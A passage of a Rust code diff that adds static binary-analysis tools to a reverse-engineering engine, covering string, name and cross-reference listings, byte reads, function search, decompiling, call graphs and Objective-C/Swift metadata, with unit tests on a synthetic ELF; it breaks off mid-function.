st.prog.xrefs_to.get(&s.addr).map(Vec::len).unwrap_or(0)})) + .collect(); + let (items, cov) = page(&rows, p.offset, p.limit); + let mut b = ev(ctx, "native_strings_browse", params_json(&p))? + .result(json!({"strings": items, "total": rows.len()})) + .summary(format!("{} strings (showing {}).", rows.len(), items.len())) + .coverage(cov); + if let Some(a) = filter { + b = b.location(Location::address(a)); + } + b = b.limitation(Limitation::new("data_sections_only", "strings are read from data sections; text built at run time or stored compressed isn't listed")); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn native_named_addresses_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrPageParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let filter = p.address.as_deref().map(super::parse_address).transpose()?; + let mut names: std::collections::BTreeMap = std::collections::BTreeMap::new(); + for f in st.prog.functions.values() { + names.insert(f.entry, (f.name.clone(), "function")); + } + for (a, n) in &st.prog.data_names { + names.entry(*a).or_insert((n.clone(), "data")); + } + for (a, s) in &st.prog.import_slots { + names.entry(*a).or_insert((slot_label(s), "import")); + } + for (a, n) in &t.annotations.names { + names.insert(*a, (n.clone(), "user")); + } + let rows: Vec = + names.iter().filter(|(a, _)| filter.is_none_or(|f| f == **a)).map(|(a, (n, k))| json!({"address": hex(*a), "name": n, "kind": k})).collect(); + let (items, cov) = page(&rows, p.offset, p.limit); + let e = ev(ctx, "native_named_addresses_list", params_json(&p))? + .result(json!({"names": items, "total": rows.len()})) + .summary(format!("{} named addresses (showing {}).", rows.len(), items.len())) + .coverage(cov) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_open_documents_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _: NoParams = parse_params(params)?; + let active = ctx.session.active_id().cloned(); + let docs: Vec = ctx + .session + .targets() + .map(|t| json!({"document": t.target.id, "name": t.target.name, "kind": t.target.kind, "description": t.target.kind.plain(), "active": Some(&t.target.id) == active.as_ref(), "sha256": t.target.sha256})) + .collect(); + Ok(ToolOutput::Value(json!({"documents": docs, "active": active}))) +} + +fn native_bookmarks_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let t = ctx.session.active()?; + let marks: Vec = t.annotations.bookmarks.iter().map(|(a, n)| json!({"address": hex(*a), "name": n})).collect(); + Ok(ToolOutput::Value(json!({"bookmarks": marks}))) +} + +fn native_functions_search(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SearchParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let m = Matcher::new(&p.pattern, p.mode, p.case_sensitive)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let mut rows = Vec::new(); + for (i, f) in st.prog.functions.values().enumerate() { + if i % 4096 == 0 { + ctx.cancel.check()?; + } + let n = name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()); + let demangled = st.img.bin.symbols.iter().find(|s| s.addr == f.entry && s.demangled.is_some()).and_then(|s| s.demangled.clone()); + if m.is_match(&n) || demangled.as_deref().is_some_and(|d| m.is_match(d)) { + rows.push(json!({"kind": "function", "address": hex(f.entry), "name": n, "demangled": demangled, "size": f.size()})); + } + } + let functions = rows.len(); + // Imports aren't functions here, but people search for them by name (CreateWindowExW). + rows.extend( + st.img + .bin + .imports + .iter() + .filter(|i| m.is_match(&i.name)) + .map(|i| json!({"kind": "import", "address": i.slot.map(hex), "name": i.name, "library": i.library})), + ); + let (items, cov) = page(&rows, p.offset, p.limit); + let cov = super::native_common::program_coverage(&st.prog, cov); + let e = ev(ctx, "native_functions_search", params_json(&p))? + .result(json!({"matches": items, "total": rows.len(), "functions": functions, "imports": rows.len() - functions})) + .summary(format!("{functions} functions and {} imports match \"{}\".", rows.len() - functions, p.pattern)) + .confidence(Confidence::Derived) + .coverage(cov) + .limitations( + st.prog.limitations.iter().filter(|(c, _)| c == "function_limit" || c == "instruction_limit").map(|(c, m)| Limitation::new(c.clone(), m.clone())), + ) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_strings_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SearchParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let m = Matcher::new(&p.pattern, p.mode, p.case_sensitive)?; + let st = native(ctx)?; + let mut rows = Vec::new(); + for (i, s) in st.prog.strings.iter().enumerate() { + if i % 4096 == 0 { + ctx.cancel.check()?; + } + if m.is_match(&s.text) { + let users: Vec = st + .prog + .xrefs_to + .get(&s.addr) + .map(|v| { + v.iter().take(32).map(|x| json!({"from": hex(x.from), "function": st.prog.function_containing(x.from).map(|f| f.name.clone())})).collect() + }) + .unwrap_or_default(); + rows.push(json!({"address": hex(s.addr), "text": s.text, "section": s.section, "references": users})); + } + } + let (items, cov) = page(&rows, p.offset, p.limit); + let e = ev(ctx, "native_strings_find", params_json(&p))? + .result(json!({"matches": items, "total": rows.len()})) + .summary(format!("{} strings match \"{}\".", rows.len(), p.pattern)) + .coverage(cov) + .limitation(Limitation::new("data_sections_only", "only strings stored in the file are searched (absence is not proof)")) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_bytes_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ReadBytesParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.length == 0 || p.length > 65_536 { + return Err(ToolError::invalid("length must be 1..=65536")); + } + let a = super::parse_address(&p.address)?; + let img = image(ctx)?; + let bytes = img.0.read(a, p.length).ok_or_else(|| { + ToolError::invalid(format!("{a:#x} isn't backed by bytes in the file (unmapped or zero-filled)")) + .with_remediation("Pick an address inside a section from native_sections_list.") + })?; + let ascii: String = bytes.iter().map(|&b| if (0x20..0x7f).contains(&b) { b as char } else { '.' }).collect(); + let truncated = bytes.len() < p.length; + let mut b = ev(ctx, "native_bytes_show", params_json(&p))? + .result(json!({"address": hex(a), "length": bytes.len(), "hex": hex::encode(bytes), "ascii": ascii, "file_offset": img.0.bin.va_to_offset(a)})) + .summary(format!("{} bytes at {a:#x}.", bytes.len())) + .location(Location::address(a)) + .coverage(Coverage::complete(bytes.len() as u64)); + if truncated { + b = b.limitation(Limitation::new("truncated", format!("only {} bytes are file-backed before the section ends", bytes.len()))); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +fn native_address_offset_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = super::parse_address(&p.address)?; + let img = image(ctx)?; + let off = img.0.bin.va_to_offset(a).ok_or_else(|| ToolError::invalid(format!("{a:#x} has no file offset (unmapped, or zero-filled at load time)")))?; + let sec = img.0.bin.section_at(a).map(|s| s.name.clone()); + let sha = ctx.session.active()?.target.sha256.clone(); + let e = ev(ctx, "native_address_offset_show", params_json(&p))? + .result(json!({"address": hex(a), "file_offset": off, "file_offset_hex": hex(off), "section": sec, "file_sha256": sha})) + .summary(format!("{a:#x} is at file offset {off:#x}{}.", sec.as_deref().map(|s| format!(" in {s}")).unwrap_or_default())) + .location(Location::address(a)) + .location(Location::new("file_offset", hex(off))) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_xrefs_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AddrPageParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = address_or_cursor(ctx.session, &p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let to: Vec = st + .prog + .xrefs_to + .get(&a) + .map(|v| v.iter().map(|x| json!({"from": hex(x.from), "kind": x.kind, "function": st.prog.function_containing(x.from).map(|f| name_of(t, &st.prog, f.entry).unwrap_or_else(|| f.name.clone()))})).collect()) + .unwrap_or_default(); + let from: Vec = st + .prog + .xrefs_from + .get(&a) + .map(|v| v.iter().map(|x| json!({"to": hex(x.to), "kind": x.kind, "name": name_of(t, &st.prog, x.to)})).collect()) + .unwrap_or_default(); + let (items, cov) = page(&to, p.offset, p.limit); + let e = ev(ctx, "native_xrefs_list", params_json(&p))? + .result(json!({"address": hex(a), "name": name_of(t, &st.prog, a), "references_to": items, "total_to": to.len(), "references_from": from})) + .summary(format!("{a:#x} is referenced from {} places and refers to {}.", to.len(), from.len())) + .confidence(Confidence::Derived) + .coverage(cov) + .location(Location::address(a)) + .limitation(Limitation::new("static_references", "references made through computed pointers at run time are not seen")) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_name_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OptAddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = address_or_cursor(ctx.session, &p.address)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let name = name_of(t, &st.prog, a); + let source = if t.annotations.names.contains_key(&a) { "user" } else { "engine" }; + let e = ev(ctx, "native_name_show", params_json(&p))? + .result(json!({"address": hex(a), "name": name, "source": name.as_ref().map(|_| source)})) + .summary(match &name { + Some(n) => format!("{a:#x} is {n}."), + None => format!("{a:#x} has no name."), + }) + .location(Location::address(a)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn read_comment(ctx: &mut Ctx<'_>, params: Value, inline: bool) -> Result { + let p: OptAddrParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let a = address_or_cursor(ctx.session, &p.address)?; + let t = ctx.session.active()?; + let map = if inline { &t.annotations.inline_comments } else { &t.annotations.comments }; + Ok(ToolOutput::Value(json!({"address": hex(a), "comment": map.get(&a)}))) +} + +fn native_comment_read(ctx: &mut Ctx<'_>, params: Value) -> Result { + read_comment(ctx, params, false) +} + +fn native_inline_comment_read(ctx: &mut Ctx<'_>, params: Value) -> Result { + read_comment(ctx, params, true) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::*; + use craft_anything_testkit as tk; + use serde_json::json; + + #[test] + fn listings_and_searches() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let r = call(&e, "native_functions_list", json!({"limit": 2})); + assert_eq!(r["result"]["total"], 4); + assert_eq!(r["coverage"]["next_offset"], 2); + let r = call(&e, "native_sections_list", json!({})); + assert!(r["result"]["sections"].as_array().unwrap().iter().any(|s| s["name"] == ".text")); + let r = call(&e, "native_strings_browse", json!({})); + assert!(r["result"]["strings"].as_array().unwrap().iter().any(|s| s["text"] == tk::HELLO)); + let r = call(&e, "native_strings_browse", json!({"address": format!("{:#x}", l.rodata_va + 3)})); + assert_eq!(r["result"]["total"], 1); + let all = call(&e, "native_strings_browse", json!({}))["result"]["total"].clone(); + let section = r["result"]["strings"][0]["section"].as_str().unwrap().to_uppercase(); + let one = call(&e, "native_strings_browse", json!({"section": section})); + let strings = one["result"]["strings"].as_array().unwrap(); + assert!(!strings.is_empty() && one["result"]["total"].as_u64() < all.as_u64(), "only that section's strings"); + assert!(strings.iter().all(|s| s["section"].as_str().unwrap().eq_ignore_ascii_case(§ion)), "any case"); + let err = call_err(&e, "native_strings_browse", json!({"section": ".nope"})); + assert!(err.remediation.unwrap_or_default().contains("Sections with strings"), "names the sections that have strings"); + let r = call(&e, "native_named_addresses_list", json!({})); + assert!(r["result"]["names"].as_array().unwrap().iter().any(|n| n["name"] == "puts@got")); + let r = call(&e, "native_functions_search", json!({"pattern": "^h.*r$", "mode": "regex"})); + assert_eq!(r["result"]["matches"][0]["name"], "helper"); + assert_eq!(r["result"]["matches"][0]["kind"], "function"); + // Imports are hits too, marked as such. + let r = call(&e, "native_functions_search", json!({"pattern": "puts"})); + let hit = r["result"]["matches"].as_array().unwrap().iter().find(|m| m["kind"] == "import").cloned().unwrap(); + assert_eq!(hit["name"], "puts"); + let r = call(&e, "native_strings_find", json!({"pattern": "CRAFT"})); + assert_eq!(r["result"]["total"], 1); + let r = call(&e, "native_strings_find", json!({"pattern": "CRAFT", "case_sensitive": true})); + assert_eq!(r["result"]["total"], 0); + assert_eq!(call_err(&e, "native_strings_find", json!({"pattern": "(", "mode": "regex"})).code, craft_anything_evidence::ErrorCode::BadInput); + let r = call(&e, "native_bytes_show", json!({"address": format!("{:#x}", l.code_va), "length": 4})); + assert_eq!(r["result"]["hex"], "554889e5"); + assert!(call_err(&e, "native_bytes_show", json!({"address": "0x10"})).message.contains("isn't backed")); + let r = call(&e, "native_address_offset_show", json!({"address": format!("{:#x}", l.code_va)})); + assert_eq!(r["result"]["file_offset"], tk::ELF_TEXT_OFF); + let helper = format!("{:#x}", l.code_va + tk::x64::HELPER); + let r = call(&e, "native_xrefs_list", json!({"address": helper})); + assert_eq!(r["result"]["references_to"][0]["function"], "main"); + let r = call(&e, "native_name_show", json!({"address": helper})); + assert_eq!(r["result"]["name"], "helper"); + let r = call(&e, "native_comment_read", json!({"address": helper})); + assert!(r["result"]["comment"].is_null()); + let r = call(&e, "native_open_documents_list", json!({})); + assert_eq!(r["result"]["documents"].as_array().unwrap().len(), 1); + assert!(call_err(&e, "native_functions_list", json!({"bogus": 1})).message.contains("unknown field")); + assert!(call_err(&e, "native_functions_list", json!({"document": "nope"})).remediation.is_some()); + } + + #[test] + fn non_native_targets_get_a_clear_error() { + let e = engine_with("notes.txt", b"just some text, not a program at all"); + let err = call_err(&e, "native_functions_list", json!({})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::NotSupported); + assert!(err.remediation.is_some()); + } +} diff --git a/desktop/crates/engine/src/tools/native_workflows.rs b/desktop/crates/engine/src/tools/native_workflows.rs new file mode 100644 index 0000000..91b1df0 --- /dev/null +++ b/desktop/crates/engine/src/tools/native_workflows.rs @@ -0,0 +1,758 @@ +//! Native workflows: overview, function dossier, call graph, call path, feature trace, batch +//! decompile, xrefs by name, API boundary, value flow, Objective-C/Swift metadata, dispatch +//! metadata and UI-action tracing. The heavy lifting lives in `craft_anything_analysis::native`. + +use super::native_common::{from_report, hex, image, native, params_json, resolve_function, select_document, spec, user_names}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::native as an; +use craft_anything_disasm::pseudo::lift; +use craft_anything_evidence::{Confidence, Coverage, Limitation, Location, ToolError}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; + +pub fn specs() -> Vec { + use Toolset::{Apple, Core, Native}; + let e = Effects::EVIDENCE; + let trace = Effects::MUTATES_SESSION; + let t = Requires::Target; + vec![ + spec( + "core_overview_show", + "Overview", + "One-page summary of a program: format, architecture, entry, segments, counts of functions/strings/imports/exports, libraries, hardening, toolchain hints. detail=summary keeps the full record and returns counts plus a reference to page with core_evidence_browse.", + "Get the big picture of a program.", + Core, + e, + t, + schema_of::, + core_overview_show, + ), + spec( + "native_function_study", + "Function dossier", + "Everything about one function in one record: facts, pseudo-C, assembly, basic blocks, callers, callees, references, strings, unresolved calls, API boundary and register value flow. Page through big facets with core_evidence_browse; detail=summary returns counts plus a reference first.", + "Get the full story of one function.", + Core, + e | Effects::CARRIES_TARGET_CONTENT, + t, + schema_of::, + native_function_study, + ), + spec( + "native_call_graph_show", + "Call graph", + "Callees (forward) or callers (backward) of a function, level by level, with edges and honest truncation.", + "See what a function leads to, or what leads to it.", + Native, + e, + t, + schema_of::, + native_call_graph_show, + ), + spec( + "core_feature_find", + "Trace a feature", + "Literal text → matching strings, functions and imports → the code that uses them → the functions involved.", + "Follow a word you see in the app to the code behind it.", + Core, + trace, + t, + schema_of::, + core_feature_find, + ), + spec( + "native_call_path_find", + "Call path", + "Shortest direct-call path from one function to another (forward or backward), with goal status and residual unknowns. Forward, the goal may also be an import (e.g. CreateWindowExW): the path ends at the call to it.", + "Find how one function gets to another.", + Native, + trace, + t, + schema_of::, + native_call_path_find, + ), + spec( + "native_functions_decompile", + "Decompile many", + "Pseudo-C for several functions at once (up to 64); each item succeeds or fails on its own.", + "Read several functions as C-like code at once.", + Native, + e | Effects::CARRIES_TARGET_CONTENT, + t, + schema_of::, + native_functions_decompile, + ), + spec( + "native_name_xrefs_list", + "References to a name", + "Exact name (function, data symbol or import) → its address and every reference to it. Gives reason name_not_found when nothing has that name.", + "Find everything that uses a named thing.", + Native, + e, + t, + schema_of::, + native_name_xrefs_list, + ), + spec( + "native_api_show", + "API boundary", + "The system and library APIs a function calls, grouped by purpose (files, network, processes, crypto…), plus internal calls, indirect calls and jump tables.", + "See which outside services a function uses.", + Native, + trace | Effects::CARRIES_TARGET_CONTENT, + t, + schema_of::, + native_api_show, + ), + spec( + "native_value_flow_show", + "Value flow", + "Register def-use graph of a function (which instruction's result each instruction reads), parameter uses and side effects, following callees to max_depth. Nodes are paged (offset/limit).", + "See where values in a function come from and go.", + Native, + e, + t, + schema_of::, + native_value_flow_show, + ), + spec( + "apple_objc_classes_list", + "Objective-C classes", + "Deduplicated Objective-C class and category names (with method counts), optionally filtered by a substring.", + "List the Objective-C classes in a Mac or iPhone program.", + Apple, + e, + t, + schema_of::, + apple_objc_classes_list, + ), + spec( + "apple_objc_protocols_list", + "Objective-C protocols", + "Objective-C protocols with their methods, plus Swift protocols from symbols.", + "List the protocols (interfaces) a Mac or iPhone program defines.", + Apple, + e, + t, + schema_of::, + apple_objc_protocols_list, + ), + spec( + "apple_swift_types_list", + "Swift types", + "Swift symbols grouped into classes, structs, enums, protocols, extensions and other, by type path and role (accessor, descriptor, method…).", + "See the Swift types in a program.", + Apple, + e, + t, + schema_of::, + apple_swift_types_list, + ), + spec( + "apple_dispatch_show", + "Dispatch metadata", + "Objective-C method dispatch (class, selector, implementation) and Swift dispatch-related symbols, up to max_records.", + "See which code runs for each Objective-C message.", + Apple, + e, + t, + schema_of::, + apple_dispatch_show, + ), + spec( + "apple_ui_action_trace", + "Trace a UI action", + "UI action or selector (e.g. `saveDocument:`) → handlers (Objective-C methods, matching names, code using the string) → the static calls they make, bounded by max_depth/max_nodes/max_edges. Best effort; limits are listed.", + "Find the code that runs when a button or menu item is used.", + Apple, + e, + t, + schema_of::, + apple_ui_action_trace, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DocParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProcParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address. + pub function: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OverviewParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// complete (default) returns the full record; summary returns counts plus a reference to page + /// with core_evidence_browse. + #[serde(default)] + pub detail: super::Detail, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct FunctionParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address. + pub function: String, + /// complete (default) returns the full dossier; summary returns counts plus a reference to page + /// big facets (assembly, callers…) with core_evidence_browse. + #[serde(default)] + pub detail: super::Detail, +} + +#[derive(Debug, Clone, Copy, Default, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum Dir { + #[default] + Forward, + Backward, +} + +fn d_depth() -> usize { + 8 +} +fn d_nodes() -> usize { + 500 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CallGraphParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Start function (name or address). + pub address: String, + /// forward (callees, default) or backward (callers). + #[serde(default)] + pub direction: Dir, + /// Levels to follow (1..=64, default 8). + #[serde(default = "d_depth")] + pub max_depth: usize, + /// Most functions to include (1..=20000, default 500). + #[serde(default = "d_nodes")] + pub max_nodes: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct TraceFeatureParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Text to look for (e.g. a label or message you see in the app). + pub query: String, + /// Match case exactly (default false). + #[serde(default)] + pub case_sensitive: bool, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CallPathParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Start function (name or address). + pub start: String, + /// Goal function (name or address), or an import's name when tracing forward; without it, + /// everything reachable is listed. + #[serde(default)] + pub goal: Option, + /// forward (start calls … goal, default) or backward (goal is reached from start's callers). + #[serde(default)] + pub direction: Dir, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct BatchParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function names or addresses (at most 64). + #[serde(default)] + pub addresses: Vec, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct NameParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Exact name of a function, data symbol or import. + pub name: String, +} + +fn v_depth() -> usize { + 3 +} +fn v_funcs() -> usize { + 16 +} +fn v_sites() -> usize { + 256 +} +fn v_nodes() -> usize { + 5000 +} +fn v_edges() -> usize { + 10_000 +} +fn v_limit() -> usize { + 1000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ValueParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Function name or address. + pub function: String, + /// Callee levels to follow (0..=16, default 3). + #[serde(default = "v_depth")] + pub max_depth: usize, + /// Most functions to follow (1..=64, default 16). + #[serde(default = "v_funcs")] + pub max_functions: usize, + /// Most call sites to examine (1..=4096, default 256). + #[serde(default = "v_sites")] + pub max_call_sites: usize, + /// Most nodes (≤20000, default 5000). + #[serde(default = "v_nodes")] + pub max_nodes: usize, + /// Most edges (≤40000, default 10000). + #[serde(default = "v_edges")] + pub max_edges: usize, + /// First node of the page. + #[serde(default)] + pub offset: usize, + /// Nodes per page (1..=5000, default 1000). + #[serde(default = "v_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PatternParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Only names containing this (case-insensitive); everything when empty. + #[serde(default)] + pub pattern: String, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SwiftParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// classes, structs, enums, protocols, extensions or other. + #[serde(default)] + pub category: Option, + /// Only type paths containing this (case-insensitive). + #[serde(default)] + pub pattern: Option, +} + +fn d_records() -> usize { + 5000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DispatchParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Most records (1..=20000, default 5000). + #[serde(default = "d_records")] + pub max_records: usize, +} + +fn u_depth() -> usize { + 8 +} +fn u_nodes() -> usize { + 250 +} +fn u_edges() -> usize { + 500 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct UiActionParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Action or selector, e.g. `saveDocument:`. + pub action: String, + /// Call levels to follow (0..=32, default 8). + #[serde(default = "u_depth")] + pub max_depth: usize, + /// Most functions (1..=2000, default 250). + #[serde(default = "u_nodes")] + pub max_nodes: usize, + /// Most call edges (1..=5000, default 500). + #[serde(default = "u_edges")] + pub max_edges: usize, +} + +fn range(name: &str, v: usize, lo: usize, hi: usize) -> Result { + if v < lo || v > hi { Err(ToolError::invalid(format!("{name} must be {lo}..={hi}"))) } else { Ok(v) } +} + +fn core_overview_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OverviewParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let name = ctx.session.active()?.target.name.clone(); + let r = an::overview(&st.img, &st.prog, &name); + let cov = super::native_common::program_coverage(&st.prog, Coverage::complete(1)); + let e = super::native_common::report_evidence_with(ctx, "core_overview_show", params_json(&p), r, cov)?; + let extras = super::native_common::counts_of(&e.result); + super::detailed(ctx, e, p.detail, extras) +} + +fn native_function_study(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: FunctionParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = resolve_function(t, &st.prog, &p.function)?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let mut r = an::dossier(&st.img, &st.prog, f, &names); + // Comments the user wrote inside the function. + let comments: Vec = t + .annotations + .comments + .iter() + .chain(t.annotations.inline_comments.iter()) + .filter(|(a, _)| f.contains(**a)) + .map(|(a, c)| json!({"address": hex(*a), "comment": c})) + .collect(); + r.result["comments"] = json!(comments); + let e = super::native_common::report_evidence(ctx, "native_function_study", params_json(&p), r)?; + let extras = super::native_common::counts_of(&e.result); + super::detailed(ctx, e, p.detail, extras) +} + +fn native_call_graph_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CallGraphParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let depth = range("max_depth", p.max_depth, 1, 64)?; + let nodes = range("max_nodes", p.max_nodes, 1, 20_000)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = resolve_function(t, &st.prog, &p.address)?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::call_graph(&st.prog, f.entry, matches!(p.direction, Dir::Forward), depth, nodes, &names); + from_report(ctx, "native_call_graph_show", params_json(&p), r) +} + +fn core_feature_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: TraceFeatureParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.query.trim().is_empty() { + return Err(ToolError::invalid("query is empty")); + } + let st = native(ctx)?; + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::feature_paths(&st.prog, &p.query, p.case_sensitive, &names); + from_report(ctx, "core_feature_find", params_json(&p), r) +} + +fn native_call_path_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CallPathParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let start = resolve_function(t, &st.prog, &p.start)?.entry; + let forward = matches!(p.direction, Dir::Forward); + let goal = match p.goal.as_deref() { + None => None, + Some(g) => match resolve_function(t, &st.prog, g) { + Ok(f) => Some(an::Goal::Function(f.entry)), + Err(e) => match st.img.bin.imports.iter().find(|i| i.name.eq_ignore_ascii_case(g.trim())) { + Some(i) if forward => Some(an::Goal::Import(&i.name)), + Some(_) => return Err(ToolError::invalid("An import can only be the goal when tracing forward.").with_remediation("Use direction forward.")), + None => return Err(e), + }, + }, + }; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::call_path(&st.prog, start, goal, forward, &names); + from_report(ctx, "native_call_path_find", params_json(&p), r) +} + +fn native_functions_decompile(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: BatchParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.addresses.len() > 64 { + return Err(ToolError::invalid("at most 64 functions per batch")); + } + let st = native(ctx)?; + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let mut items = Vec::new(); + let mut ok = 0; + let mut locations = Vec::new(); + for (i, a) in p.addresses.iter().enumerate() { + ctx.cancel.check()?; + ctx.report(Some(i as f32 / p.addresses.len().max(1) as f32), format!("decompiling {a}")); + match resolve_function(t, &st.prog, a) { + Ok(f) => { + let ps = lift(&st.img, &st.prog, f, &names); + ok += 1; + locations.push(Location::address(f.entry)); + items.push(json!({"input": a, "ok": true, "entry": hex(f.entry), "signature": ps.signature, "pseudo_code": ps.text, "structured": ps.structured, "limitations": ps.limitations.iter().map(|(c, _)| c.clone()).collect::>()})); + } + Err(e) => items.push(json!({"input": a, "ok": false, "error": e.message})), + } + } + let n = p.addresses.len(); + let e = super::native_common::ev(ctx, "native_functions_decompile", params_json(&p))? + .result(json!({"items": items, "succeeded": ok, "failed": n - ok})) + .summary(format!("Decompiled {ok} of {n} functions.")) + .confidence(Confidence::Inferred) + .coverage(Coverage::complete(n as u64)) + .locations(locations) + .limitation(Limitation::new("pseudo_code_inferred", "pseudo-C from the clean-room lifter is register-level and approximate")) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn native_name_xrefs_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: NameParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::xrefs_to_name(&st.prog, &user, p.name.trim(), &names); + from_report(ctx, "native_name_xrefs_list", params_json(&p), r) +} + +fn native_api_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProcParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = resolve_function(t, &st.prog, &p.function)?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::native_api(&st.prog, f, &names); + from_report(ctx, "native_api_show", params_json(&p), r) +} + +fn native_value_flow_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ValueParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let o = an::ValueTraceOpts { + max_depth: range("max_depth", p.max_depth, 0, 16)?, + max_functions: range("max_functions", p.max_functions, 1, 64)?, + max_call_sites: range("max_call_sites", p.max_call_sites, 1, 4096)?, + max_nodes: range("max_nodes", 